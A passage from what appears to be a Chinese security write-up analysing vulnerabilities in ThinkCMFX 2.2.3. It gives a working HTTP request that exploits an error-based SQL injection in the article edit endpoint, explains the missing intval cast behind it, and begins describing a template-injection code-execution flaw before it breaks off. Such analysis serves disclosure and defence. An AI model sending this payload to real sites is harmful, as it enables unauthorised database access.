ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。
ThinkCMF 有两个版本 V版本和X版本 ThinkCMF V 基于ThinkPHP3 开发官方已经不再维护。本文将对 ThinkCMFX 2.2.3 进行漏洞总结分析。
ThinkCMFX2.2.3 下载地址:https://github.com/thinkcmf/
0x00 前台 文章编辑SQL注入
在 ThinkCMFX2.2.3 版本中,存在一处SQL注入(需要普通用户权限,默认可注册),触发截图如下。
POST /ThinkCMFX/index.php?g=portal&m=article&a=edit_post HTTP/1.1Host: localhostConnection: closeCookie: PHPSESSID=kcg5v42ms0v13o8pgroh9saj15Content-Type: application/x-www-form-urlencodedContent-Length: 79post[id][0]=bind&post[id][1]=0 and updatexml(1, concat(0x7e,user(),0x7e),1)--+-
因为其他代码中对于 id 的获取写法都是类似 I(‘get.id’,0,’intval’) 。用 intval 函数进行强转,而这里明显像是忘记了。可控变量 $article[‘id’] 来自 POST ,未经过滤直接作为 where 条件进行查询,最终导致 SQL注入漏洞 。
如下图所示,框架底层将数据进行了拼接
0x01 前台 Comment、 Api 类模版引擎注入
在 ThinkCMFX2.2.3 最终版中, 存在2处前台代码执行 发送如下数据包后,会在网站根目录生成一个名为 test.php 的